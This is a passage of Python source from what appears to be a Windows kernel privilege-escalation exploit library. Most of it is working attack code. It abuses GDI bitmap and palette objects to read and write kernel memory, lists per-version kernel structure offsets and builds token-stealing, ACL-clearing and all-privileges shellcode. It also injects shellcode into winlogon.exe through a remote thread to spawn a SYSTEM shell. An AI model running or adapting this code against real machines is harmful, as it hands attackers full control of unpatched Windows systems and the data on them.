p == 'Windows-10-10.0.14393' or p == 'Windows-10-10.0.15063' or p == 'Windows-10-10.0.16299': pFirstColor_offset = 0x78 elif p == 'Windows-10-10.0.10586' or p == 'Windows-8-6.2.9200-SP0' or p == 'Windows-8.1-6.3.9600' or p == 'Windows-7-6.1.7601-SP1': pFirstColor_offset = 0x80 else: print "[-] This platform is not supported for palettes" sys.exit(-1) manager_palette_address = alloc_free_windows(0) print "[*] Manager palette kernel address: %s" % hex(manager_palette_address) manager_palette_handle = create_palette_with_size(0x1000) manager_palette_pFirstColor = manager_palette_address + pFirstColor_offset worker_palette_address = alloc_free_windows(0) print "[*] Worker palette kernel kaddress: %s" % hex(worker_palette_address) worker_palette_handle = create_palette_with_size(0x1000) worker_palette_pFirstColor = worker_palette_address + pFirstColor_offset if manager_palette_address == worker_palette_address: print "[-] An error occured during palette allocation, try to rerun the exploit" sys.exit(-1) return (manager_palette_pFirstColor, worker_palette_pFirstColor, manager_palette_handle, worker_palette_handle) def get_www_address_and_bitmaps(): """ Get a What and Where addresses to be used with GDI abuse and the related handles, it should work independent the underlying OS @return: what, where addresses for WWW vulns and manager & worker bitmap handles """ p = platform.platform() if p == 'Windows-10-10.0.10586' or p == 'Windows-8-6.2.9200-SP0' or p == 'Windows-8.1-6.3.9600' or p == 'Windows-7-6.1.7601-SP1': (manager_bitmap_pvscan0, worker_bitmap_pvscan0, manager_bitmap_handle, worker_bitmap_handle) = gdi_abuse_gdisharedhandletable_technique() elif p == 'Windows-10-10.0.14393': (manager_bitmap_pvscan0, worker_bitmap_pvscan0, manager_bitmap_handle, worker_bitmap_handle) = gdi_abuse_accelerator_tables_technique() elif p == 'Windows-10-10.0.15063': (manager_bitmap_pvscan0, worker_bitmap_pvscan0, manager_bitmap_handle, worker_bitmap_handle) = gdi_abuse_tagwnd_technique_bitmap() else: print "[-] No matching OS found to abuse GDI objects, exiting..." sys.exit(-1) print "[+] Manager Bitmap pvscan0 offset: %s" % hex(manager_bitmap_pvscan0) print "[+] Worker Bitmap pvscan0 address: %s" % hex(worker_bitmap_pvscan0) what = c_void_p(worker_bitmap_pvscan0) where = manager_bitmap_pvscan0 return (what, where, manager_bitmap_handle, worker_bitmap_handle) def get_www_address_and_palettes(): """ Get a What and Where addresses to be used with GDI abuse and the related handles, it should work independent the underlying OS @return: what, where addresses for WWW vulns and manager & worker palettes handles """ (manager_palette_pFirstColor, worker_palette_pFirstColor, manager_palette_handle, worker_palette_handle) = gdi_abuse_tagwnd_technique_palette() what = c_void_p(worker_palette_pFirstColor) where = manager_palette_pFirstColor return (what, where, manager_palette_handle, worker_palette_handle) ######################################################################################### ###################This section contains other general functions######################### ######################################################################################### def ctl_code(function, devicetype = FILE_DEVICE_UNKNOWN, access = FILE_ANY_ACCESS, method = METHOD_NEITHER): """Recreate CTL_CODE macro to generate driver IOCTL""" return ((devicetype << 16) | (access << 14) | (function << 2) | method) #https://www.exploit-db.com/exploits/34272/ def getLastError(): """Format GetLastError""" buf = create_string_buffer(2048) if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, kernel32.GetLastError(), NULL, buf, sizeof(buf), NULL): print "[-] " + buf.value else: print "[-] Unknown Error" #https://www.exploit-db.com/exploits/34272/ def alloc_memory(base_address, input, input_size): """ Allocate input buffer """ print "[*] Allocating input buffer" if platform.architecture()[0] == '64bit': if base_address == None: base_address_c = c_ulonglong(0) else: base_address_c = c_ulonglong(base_address) ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_ulonglong), c_ulong, POINTER(c_int), c_int, c_int] else: if base_address == None: base_address_c = c_ulonglong(0) else: base_address_c = c_int(base_address) ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, POINTER(c_int), c_int, c_int] input_size_c = c_int(input_size) dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(base_address_c), 0x0, byref(input_size_c), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) if dwStatus != STATUS_SUCCESS: print "[-] Error while allocating memory: %s" % hex(signed_to_unsigned(dwStatus)) getLastError() sys.exit() written = c_ulong() alloc = kernel32.WriteProcessMemory(-1, base_address_c, input, len(input), byref(written)) if alloc == 0: print "[-] Error while writing our input buffer memory: %s" % alloc getLastError() sys.exit() return base_address_c def alloc_memory_virtualalloc(base_address, input, input_size): print "[*] Allocating input buffer" address = kernel32.VirtualAlloc(base_address, input_size, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE) if not address: print "[-] Error allocating memory: " + getLastError() sys.exit(-1) print "[+] Input buffer allocated at: 0x%x" % address memmove(address, input, len(input)) return address #https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/windows.py def find_driver_base(driver=None): if platform.architecture()[0] == '64bit': lpImageBase = (c_ulonglong * 1024)() lpcbNeeded = c_longlong() Psapi.GetDeviceDriverBaseNameA.argtypes = [c_longlong, POINTER(c_char), c_uint32] else: lpImageBase = (c_ulong * 1024)() lpcbNeeded = c_long() driver_name_size = c_long() driver_name_size.value = 48 Psapi.EnumDeviceDrivers(byref(lpImageBase), c_int(1024), byref(lpcbNeeded)) for base_addr in lpImageBase: driver_name = c_char_p('\x00' * driver_name_size.value) if base_addr: Psapi.GetDeviceDriverBaseNameA(base_addr, driver_name, driver_name_size.value) if driver == None and driver_name.value.lower().find("krnl") != -1: print "[+] Retrieving kernel info..." print "[+] Kernel version:", driver_name.value print "[+] Kernel base address: %s" % hex(base_addr) return (base_addr, driver_name.value) elif driver_name.value.lower() == driver: print "[+] Retrieving %s info..." % driver_name print "[+] %s base address: %s" % (driver_name, hex(base_addr)) return (base_addr, driver_name.value) return None #https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/windows.py def get_haldispatchtable(): if platform.architecture()[0] == '64bit': kernel32.LoadLibraryExA.restype = c_uint64 kernel32.GetProcAddress.argtypes = [c_uint64, POINTER(c_char)] kernel32.GetProcAddress.restype = c_uint64 (krnlbase, kernelver) = find_driver_base() hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1) HalDispatchTable = kernel32.GetProcAddress(hKernel, 'HalDispatchTable') HalDispatchTable -= hKernel HalDispatchTable += krnlbase print "[+] HalDispatchTable address:", hex(HalDispatchTable) return HalDispatchTable def get_psinitialsystemprocess(): if platform.architecture()[0] == '64bit': kernel32.LoadLibraryExA.restype = c_uint64 kernel32.GetProcAddress.argtypes = [c_uint64, POINTER(c_char)] kernel32.GetProcAddress.restype = c_uint64 (krnlbase, kernelver) = find_driver_base() print "[+] Loading %s in userland" % kernelver hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1) print "[+] %s base address : %s" % (kernelver, hex(hKernel)) PsInitialSystemProcess = kernel32.GetProcAddress(hKernel, 'PsInitialSystemProcess') PsInitialSystemProcess -= hKernel PsInitialSystemProcess += krnlbase print "[+] PsInitialSystemProcess address: %s" % hex(PsInitialSystemProcess) return PsInitialSystemProcess def get_haldisp_offsets(): (halbase, dllname) = find_driver_base("hal.dll") version = sys.getwindowsversion() p = platfrom.platform() a = platform.architecture()[0] if a == '32bit': if((version.major == 5) and (version.minor == 1) and ('3' in version.service_pack)): # the target machine's OS is Windows XP SP3 HaliQuerySystemInformation = halbase+0x16bba # Offset for XPSP3 HalpSetSystemInformation = halbase+0x19436 # Offset for XPSP3 elif((version.major == 5) and (version.minor == 2) and ('2' in version.service_pack)): # the target machine's OS is Windows Server 2003 SP2 HaliQuerySystemInformation = halbase+0x1fa1e # Offset for WIN2K3 HalpSetSystemInformation = halbase+0x21c60 # Offset for WIN2K3 elif((version.major == 6) and (version.minor == 1) and ('1' in version.service_pack)): # the target machine's OS is Windows 7x86 SP1 HaliQuerySystemInformation = halbase+0x278a2 # Offset for WIN7SP1x86 HalpSetSystemInformation = halbase+0x281b4 # Offset for WIN7SP1x86 else: print "[-] No info about HaliQuerySystemInformation and HalpSetSystemInformation for this OS version" print "[-] Exiting..." sys.exit(-1) else: if((version.major == 6) and (version.minor == 1) and ('1' in version.service_pack)): # the target machine's OS is Windows 7x64 SP1 HaliQuerySystemInformation = halbase+0x398e8 # Offset for win7 x64 HalpSetSystemInformation = 0 else: print "[-] No info about HaliQuerySystemInformation and HalpSetSystemInformation for this OS version" print "[-] Exiting..." sys.exit(-1) print "[+] HaliQuerySystemInformation address: %s" % hex(HaliQuerySystemInformation) print "[+] HalpSetSystemInformation address: %s" % hex(HalpSetSystemInformation) return (HaliQuerySystemInformation,HalpSetSystemInformation) def getosvariablesx86(): """ Get various structure variables based on OS version @return: tuple of (KTHREAD_Process, EPROCESS_ActiveProcessLinks, EPROCESS_UniqueProcessId, EPROCESS_Token, EPROCESS_ImageFileName, TOKEN_IntegrityLevelIndex) """ KTHREAD_Process = 0 EPROCESS_ActiveProcessLinks = 0 EPROCESS_UniqueProcessId = 0 EPROCESS_Token = 0 EPROCESS_ImageFileName = 0 TOKEN_IntegrityLevelIndex = 0 version = sys.getwindowsversion() p = platform.platform() if((version.major == 5) and (version.minor == 1) and ('3' in version.service_pack)): # the target machine's OS is Windows XP SP3 print "[*] OS version: Windows XP SP3" KTHREAD_Process = 0x44 EPROCESS_Token = 0xc8 EPROCESS_UniqueProcessId = 0x84 EPROCESS_ActiveProcessLinks = 0x88 elif((version.major == 5) and (version.minor == 2) and ('2' in version.service_pack)): # the target machine's OS is Windows Server 2003 SP2 print "[*] OS version: Windows Server 2003 SP2" KTHREAD_Process = 0x38 EPROCESS_Token = 0xD8 EPROCESS_UniqueProcessId = 0x94 EPROCESS_ActiveProcessLinks = 0x98 elif((version.major == 6) and (version.minor == 0) and ('1' in version.service_pack or '2' in version.service_pack) and (version.product_type == VER_NT_WORKSTATION)): # the target machine's OS is Windows Vista SP1 / SP2 print "[*] OS version: Windows Vista SP1 / SP2" KTHREAD_Process = 0x48 EPROCESS_Token = 0xE0 EPROCESS_UniqueProcessId = 0x9C EPROCESS_ActiveProcessLinks = 0xA0 elif((version.major == 6) and (version.minor == 0) and ('1' in version.service_pack or '2' in version.service_pack) and (version.product_type != VER_NT_WORKSTATION)): # the target machine's OS is Windows Server 2008 / SP2 print "[*] OS version: Windows Server 2008 / SP2" KTHREAD_Process = 0x48 EPROCESS_Token = 0xE0 EPROCESS_UniqueProcessId = 0x9C EPROCESS_ActiveProcessLinks = 0xA0 elif p == 'Windows-7-6.1.7601-SP1': # the target machine's OS is Windows 7 / SP1 print "[*] OS version: Windows 7 / SP1" KTHREAD_Process = 0x50 EPROCESS_Token = 0xF8 EPROCESS_UniqueProcessId = 0xB4 EPROCESS_ActiveProcessLinks = 0xB8 else: print "[-] No matching OS version, exiting..." sys.exit(-1) return (KTHREAD_Process, EPROCESS_ActiveProcessLinks, EPROCESS_UniqueProcessId, EPROCESS_Token, EPROCESS_ImageFileName, TOKEN_IntegrityLevelIndex) def getosvariablesx64(): """ Gets various structure variables based on OS version # kd> dt nt!_EPROCESS uniqueprocessid token activeprocesslinks # kd> dt nt!_KTHREAD ApcState; dt _KAPC_STATE process @return: tuple of (KTHREAD_Process, EPROCESS_ActiveProcessLinks, EPROCESS_UniqueProcessId, EPROCESS_Token, EPROCESS_ImageFileName, TOKEN_IntegrityLevelIndex) """ KTHREAD_Process = 0 EPROCESS_ActiveProcessLinks = 0 EPROCESS_UniqueProcessId = 0 EPROCESS_Token = 0 EPROCESS_ImageFileName = 0 TOKEN_IntegrityLevelIndex = 0 version = sys.getwindowsversion() p = platform.platform() if((version.major == 5) and (version.minor == 2)): # the target machine's OS is Windows Server 2003 print "[*] OS version: Windows Server 2003" KTHREAD_Process = 0x68 EPROCESS_Token = 0x160 EPROCESS_UniqueProcessId = 0xd8 EPROCESS_ActiveProcessLinks = 0xe0 elif p == 'Windows-7-6.1.7601-SP1': print "[*] OS version: Windows 7x64 SP1" KTHREAD_Process = 0x70 EPROCESS_UniqueProcessId = 0x180 EPROCESS_ActiveProcessLinks = 0x188 EPROCESS_Token = 0x208 EPROCESS_ImageFileName = 0x2e0 TOKEN_IntegrityLevelIndex = 0xc8 elif p == 'Windows-8-6.2.9200-SP0': print "[*] OS version: Windows 8x64" KTHREAD_Process = 0xb8 EPROCESS_UniqueProcessId = 0x2e0 EPROCESS_ActiveProcessLinks = 0x2e8 EPROCESS_Token = 0x348 EPROCESS_ImageFileName = 0x438 TOKEN_IntegrityLevelIndex = 0xd0 elif p == 'Windows-8.1-6.3.9600': print "[*] OS version: Windows 8.1x64" KTHREAD_Process = 0xb8 EPROCESS_UniqueProcessId = 0x2e0 EPROCESS_ActiveProcessLinks = 0x2e8 EPROCESS_Token = 0x348 EPROCESS_ImageFileName = 0x438 TOKEN_IntegrityLevelIndex = 0xd0 elif p == 'Windows-10-10.0.10586': print "[*] OS version: Windows 10x64 v1511 November Update" KTHREAD_Process = 0xb8 EPROCESS_UniqueProcessId = 0x2e8 EPROCESS_ActiveProcessLinks = 0x2f0 EPROCESS_Token = 0x358 EPROCESS_ImageFileName = 0x450 TOKEN_IntegrityLevelIndex = 0xd0 elif p == 'Windows-10-10.0.14393': print "[*] OS version: Windows 10x64 v1607 Anniversary Update" KTHREAD_Process = 0xb8 EPROCESS_UniqueProcessId = 0x2e8 EPROCESS_ActiveProcessLinks = 0x2f0 EPROCESS_Token = 0x358 EPROCESS_ImageFileName = 0x450 TOKEN_IntegrityLevelIndex = 0xd0 elif p == 'Windows-10-10.0.15063': print "[*] OS version: Windows 10x64 v1703 Creators Update" KTHREAD_Process = 0xb8 EPROCESS_UniqueProcessId = 0x2e0 EPROCESS_ActiveProcessLinks = 0x2e8 EPROCESS_Token = 0x358 EPROCESS_ImageFileName = 0x450 TOKEN_IntegrityLevelIndex = 0xd0 elif p == 'Windows-10-10.0.16299': print "[*] OS version: Windows 10x64 v1709 Creators Update" KTHREAD_Process = 0xb8 EPROCESS_UniqueProcessId = 0x2e0 EPROCESS_ActiveProcessLinks = 0x2e8 EPROCESS_Token = 0x358 EPROCESS_ImageFileName = 0x450 TOKEN_IntegrityLevelIndex = 0xd0 else: print "[-] No matching OS version, exiting..." sys.exit(-1) return (KTHREAD_Process, EPROCESS_ActiveProcessLinks, EPROCESS_UniqueProcessId, EPROCESS_Token, EPROCESS_ImageFileName, TOKEN_IntegrityLevelIndex) def restore_hal_ptrs(HalDispatchTable,HaliQuerySystemInformation,HalpSetSystemInformation): """ Return a shellcode to retore HalDispatchTable ptrs """ if HaliQuerySystemInformation == 0x0 or HalpSetSystemInformation == 0x0: return "" else: shellcode = ( "\x31\xc0" "\xb8" + struct.pack("L", HalpSetSystemInformation) + "\xa3" + struct.pack("L", HalDispatchTable + 0x8) + "\xb8" + struct.pack("L", HaliQuerySystemInformation) + "\xa3" + struct.pack("L", HalDispatchTable + 0x4) ) return shellcode def restoretokenx86(RETVAL, extra = ""): """ Create a token restore shellcode @param RETVAL: the value for the ASM RET instruction @return: token restore shellcode related to the platform """ (KTHREAD_Process, EPROCESS_ActiveProcessLinks, EPROCESS_UniqueProcessId, EPROCESS_Token, EPROCESS_ImageFileName, TOKEN_IntegrityLevelIndex) = getosvariablesx86() shellcode = ( "\x52" "\x33\xc0" # xor eax,eax "\x64\x8b\x80\x24\x01\x00\x00" # mov eax,DWORD PTR fs:[eax+0x124] "\x8b\x40" + struct.pack("B",KTHREAD_Process) + # mov eax,DWORD PTR [eax+_KTHREAD_Process] "\x8b\x15\x00\x09\x02\x00" "\x89\x90" + struct.pack("B",EPROCESS_Token) + "\x00\x00\x00" # mov edx,DWORD PTR [eax+0xf8] "\x5a" ) if RETVAL == "": shellcode += "\xc3" #retn else: shellcode += "\xc2" + RETVAL + "\x00" # ret 0x8 shellcode = shellcode + '\x90' * (len(shellcode) % 4) return shellcode #https://www.exploit-db.com/exploits/18176/ def tokenstealingx86(RETVAL, extra = ""): """ Create a token stealing shellcode for x86 platform @param RETVAL: the value for the ASM RET instruction @param extra: extra shellcode to put after tokenstealing (e.g.: restore stack) @return: token stealing shellcode related to the platform """ (KTHREAD_Process, EPROCESS_ActiveProcessLinks, EPROCESS_UniqueProcessId, EPROCESS_Token, EPROCESS_ImageFileName, TOKEN_IntegrityLevelIndex) = getosvariablesx86() shellcode = ( "\x60" # pushad "\x33\xc0" # xor eax,eax "\x64\x8b\x80\x24\x01\x00\x00" # mov eax,DWORD PTR fs:[eax+0x124] "\x8b\x40" + struct.pack("B",KTHREAD_Process) + # mov eax,DWORD PTR [eax+_KTHREAD_Process] "\x8b\xc8" # mov ecx,eax "\x8b\x80" + struct.pack("B",EPROCESS_ActiveProcessLinks) + "\x00\x00\x00" # mov eax,DWORD PTR [eax+0xb8] "\x2d" + struct.pack("B",EPROCESS_ActiveProcessLinks) + "\x00\x00\x00" # sub eax,0xb8 "\x83\xb8" + struct.pack("B",EPROCESS_UniqueProcessId) + "\x00\x00\x00\x04" # cmp DWORD PTR [eax+0xb4],0x4 "\x75\xec" # jne 0xe "\x8b\x90" + struct.pack("B",EPROCESS_Token) + "\x00\x00\x00" # mov edx,DWORD PTR [eax+0xf8] "\x89\x91" + struct.pack("B",EPROCESS_Token) + "\x00\x00\x00" # mov DWORD PTR [ecx+0xf8],edx "\x61" # popad ) shellcode += extra #append extra code after token stealing shellcode, e.g.: restore stack if RETVAL == "": shellcode += "\xc3" #retn else: shellcode += "\xc2" + RETVAL + "\x00" # ret 0x8 shellcode = shellcode + '\x90' * (len(shellcode) % 4) return shellcode def tokenstealingx64(RETVAL, extra = ""): """ Create a token stealing shellcode for x64 platform @param RETVAL: the value for the ASM RET instruction @param extra: extra shellcode to put after tokenstealing (e.g.: restore stack) @return: token stealing shellcode related to the platform """ (KTHREAD_Process, EPROCESS_ActiveProcessLinks, EPROCESS_UniqueProcessId, EPROCESS_Token, EPROCESS_ImageFileName, TOKEN_IntegrityLevelIndex) = getosvariablesx64() shellcode = ( "\x65\x48\x8b\x04\x25\x88\x01\x00\x00" # mov rax, [gs:0x188] ;Get current ETHREAD in ) if KTHREAD_Process > 0x7f: shellcode = shellcode + "\x48\x8b\x80" + struct.pack("B",KTHREAD_Process) + "\x00\x00\x00" # mov rax, [rax+0x68] ;Get current KTHREAD_Process address else: shellcode = shellcode + "\x48\x8b\x40" + struct.pack("B",KTHREAD_Process) shellcode = shellcode + ("\x48\x89\xc1" # mov rcx, rax ;Copy current KTHREAD_Process address to RCX "\x48\x8b\x80" + struct.pack("H",EPROCESS_ActiveProcessLinks) + "\x00\x00" # mov rax, [rax+0xe0] ;Next KTHREAD_Process ActivKTHREAD_ProcessLinks.Flink "\x48\x2d" + struct.pack("H",EPROCESS_ActiveProcessLinks) + "\x00\x00" # sub rax, 0xe0 ;Go to the beginning of the KTHREAD_Process structure "\x4c\x8b\x88" + struct.pack("H",EPROCESS_UniqueProcessId) + "\x00\x00" # mov r9 , [rax+0xd8] ;Copy PID to R9 "\x49\x83\xf9\x04" # cmp r9 , 0x4 ;Compare R9 to SYSTEM PID (=4) "\x75\xe6" # jnz short find_system_process ;If not SYSTEM got to next KTHREAD_Process "\x48\x8b\x90" + struct.pack("H",EPROCESS_Token) + "\x00\x00" # mov rdx, [rax+0x160] ;Copy SYSTEM process token address to RDX "\x48\x89\x91" + struct.pack("H",EPROCESS_Token) + "\x00\x00" # mov [rcx+0x160], rdx ;Steal token with overwriting our current process's token address ) shellcode += extra #append extra code after token stealing shellcode, e.g.: restore stack if RETVAL == "": shellcode += "\xc3" #retn else: shellcode += "\xc2" + RETVAL + "\x00" # ret 0x8 shellcode = shellcode + '\x90' * (len(shellcode) % 4) return shellcode def acl_shellcode_x64(RETVAL, extra = "", name = "winlogon.exe"): """ Create a shellcode for x64 platform to set the ACL for the given process name so that it will allow access for authenticated users based on: https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-2 @param RETVAL: the value for the ASM RET instruction @param extra: extra shellcode to put after tokenstealing (e.g.: restore stack) @param name: name of the process where to set the ACL @return: token stealing shellcode related to the platform """ (KTHREAD_Process, EPROCESS_ActiveProcessLinks, EPROCESS_UniqueProcessId, EPROCESS_Token, EPROCESS_ImageFileName, TOKEN_IntegrityLevelIndex) = getosvariablesx64() shellcode = ( "\x65\x48\x8b\x04\x25\x88\x01\x00\x00" # mov rax, [gs:0x188] ;Get current ETHREAD in ) if KTHREAD_Process > 0x7f: shellcode = shellcode + "\x48\x8b\x80" + struct.pack("B",KTHREAD_Process) + "\x00\x00\x00" # mov rax, [rax+0x68] ;Get current KTHREAD_Process address else: shellcode = shellcode + "\x48\x8b\x40" + struct.pack("B",KTHREAD_Process) shellcode = shellcode + ("\x48\x89\xc1" # mov rcx, rax ;Copy current KTHREAD_Process address to RCX "\x48\x8b\x80" + struct.pack("H",EPROCESS_ActiveProcessLinks) + "\x00\x00" # mov rax, [rax+0xe0] ;Next KTHREAD_Process ActivKTHREAD_ProcessLinks.Flink "\x48\x2d" + struct.pack("H",EPROCESS_ActiveProcessLinks) + "\x00\x00" # sub rax, 0xe0 ;Go to the beginning of the KTHREAD_Process structure "\x81\xB8" + struct.pack("H",EPROCESS_ImageFileName) + "\x00\x00" + name[0:4] + # cmp dword ptr [rax+0x450], 0x6c6e6977 "\x75\xe7" # jnz short find_process ;If no match got to next KTHREAD_Process "\x48\x83\xE8\x08" # sub rax, 0x8 ; get to the SecurityDescriptor in the _OBJECT_HEADER "\x48\x8B\x00" # mov rax, qword ptr [rax] "\x48\x83\xE0\xF0" # and rax, 0x0FFFFFFFFFFFFFFF0 ; clear last 4 bits "\x48\x83\xC0\x48" # add rax, 0x48 "\xC6\x00\x0B" # mov byte ptr [rax], 0x0b "\x48\x81\xC1" + struct.pack("H",EPROCESS_Token) + "\x00\x00" # add rcx, 0x358 ; offset the Tokens "\x48\x8B\x01" # mov rax, qword ptr [rcx] ; copy pointer "\x48\x83\xE0\xF0" # and rax, 0x0FFFFFFFFFFFFFFF0 ; clear last 4 bits "\x48\x05" + struct.pack("B",TOKEN_IntegrityLevelIndex + 4) + "\x00\x00\x00" # add rax, 0xd0+4 (0xd4) "\xC6\x00\x00" # mov byte ptr [rax], 0 ) shellcode += extra #append extra code after token stealing shellcode, e.g.: restore stack if RETVAL == "": shellcode += "\xc3" #retn else: shellcode += "\xc2" + RETVAL + "\x00" # ret 0x8 shellcode = shellcode + '\x90' * (len(shellcode) % 4) return shellcode def privilege_shellcode_x64(RETVAL, extra = ""): """ Create a shellcode for x64 platform to give full privileges for the current process based on: https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-3 @param RETVAL: the value for the ASM RET instruction @param extra: extra shellcode to put after tokenstealing (e.g.: restore stack) @return: token stealing shellcode related to the platform """ (KTHREAD_Process, EPROCESS_ActiveProcessLinks, EPROCESS_UniqueProcessId, EPROCESS_Token, EPROCESS_ImageFileName, TOKEN_IntegrityLevelIndex) = getosvariablesx64() shellcode = ( "\x65\x48\x8b\x04\x25\x88\x01\x00\x00" # mov rax, [gs:0x188] ;Get current ETHREAD in ) if KTHREAD_Process > 0x7f: shellcode = shellcode + "\x48\x8b\x80" + struct.pack("B",KTHREAD_Process) + "\x00\x00\x00" # mov rax, [rax+0x68] ;Get current KTHREAD_Process address else: shellcode = shellcode + "\x48\x8b\x40" + struct.pack("B",KTHREAD_Process) shellcode = shellcode + ("\x48\x89\xc1" # mov rcx, rax ;Copy current KTHREAD_Process address to RCX "\x48\x81\xC1" + struct.pack("H",EPROCESS_Token) + "\x00\x00" # add rcx, 0x358 ; offset the Tokens "\x48\x8B\x01" # mov rax, qword ptr [rcx] ; copy pointer "\x48\x83\xE0\xF0" # and rax, 0x0FFFFFFFFFFFFFFF0 ; clear last 4 bits "\x48\xC7\x40\x48\xFF\xFF\xFF\xFF" # mov qword ptr [rax+0x48], 0x0FFFFFFFFFFFFFFFF ; set the Enabled bits "\x48\xC7\x40\x40\xFF\xFF\xFF\xFF" # mov qword ptr [rax+0x40], 0x0FFFFFFFFFFFFFFFF ; set the Present bits ) shellcode += extra #append extra code after token stealing shellcode, e.g.: restore stack if RETVAL == "": shellcode += "\xc3" #retn else: shellcode += "\xc2" + RETVAL + "\x00" # ret 0x8 shellcode = shellcode + '\x90' * (len(shellcode) % 4) return shellcode def tokenstealing(RETVAL, extra = ""): print "[*] Creating token stealing shellcode" if platform.architecture()[0] == '64bit': return tokenstealingx64(RETVAL, extra) else: return tokenstealingx86(RETVAL, extra) def getosvariablesx(): if platform.architecture()[0] == '64bit': return getosvariablesx64() else: return getosvariablesx86() def inject_shell(manager_palette=None, worker_palette=None): """Impersonate privileged token and inject shellcode into winlogon.exe""" # Get winlogon.exe pid if manager_palette != None and worker_palette != None: pointer_EPROCESS = leak_eprocess_address_palette(manager_palette, worker_palette) (pid, pid_EPROCESS) = find_pid_and_eprocess_by_name_palette(manager_palette, worker_palette, pointer_EPROCESS, "winlogon.exe") else: pid = getpid("winlogon.exe") # Get a handle to the winlogon process we are injecting into hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) if not hProcess: print "[-] Couldn't acquire a handle to PID: %s" % pid sys.exit(-1) print "[+] Obtained handle 0x%x for the winlogon.exe process" % hProcess # Creating shellcode buffer to inject into the host process sh = create_string_buffer(SHELLCODE_EXEC_CMD_X64, len(SHELLCODE_EXEC_CMD_X64)) code_size = len(SHELLCODE_EXEC_CMD_X64) # Allocate some space for the shellcode (in the program memory) sh_address = kernel32.VirtualAllocEx(hProcess, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) if not sh_address: print "[-] Could not allocate shellcode in the remote process" getLastError() sys.exit(-1) print "[+] Allocated memory at address 0x%x" % sh_address # Inject shellcode in to winlogon.exe process space written = LPVOID(0) shellcode = LPVOID(sh_address) dwStatus = kernel32.WriteProcessMemory(hProcess, shellcode, sh, code_size, byref(written)) if not dwStatus: print "[-] Could not write shellcode into winlogon.exe, exiting..." getLastError() sys.exit(-1) print "[+] Injected %d bytes of shellcode to 0x%x" % (written.value, sh_address) # Now we create the remote thread and point its entry routine to be head of # our shellcode thread_id = HANDLE(0) if not kernel32.CreateRemoteThread(hProcess, 0, 0, sh_address, 0, 0, byref(thread_id)): print "[-] Failed to inject shellcode into winlogon.exe, exiting..." sys.exit() print "[+] Remote thread 0x%08x created" % thread_id.value print "[+] Spawning SYSTEM shell..." # Kill python process to kill the window and avoid BSODs os.kill(os.getpid(), signal.SIGABRT)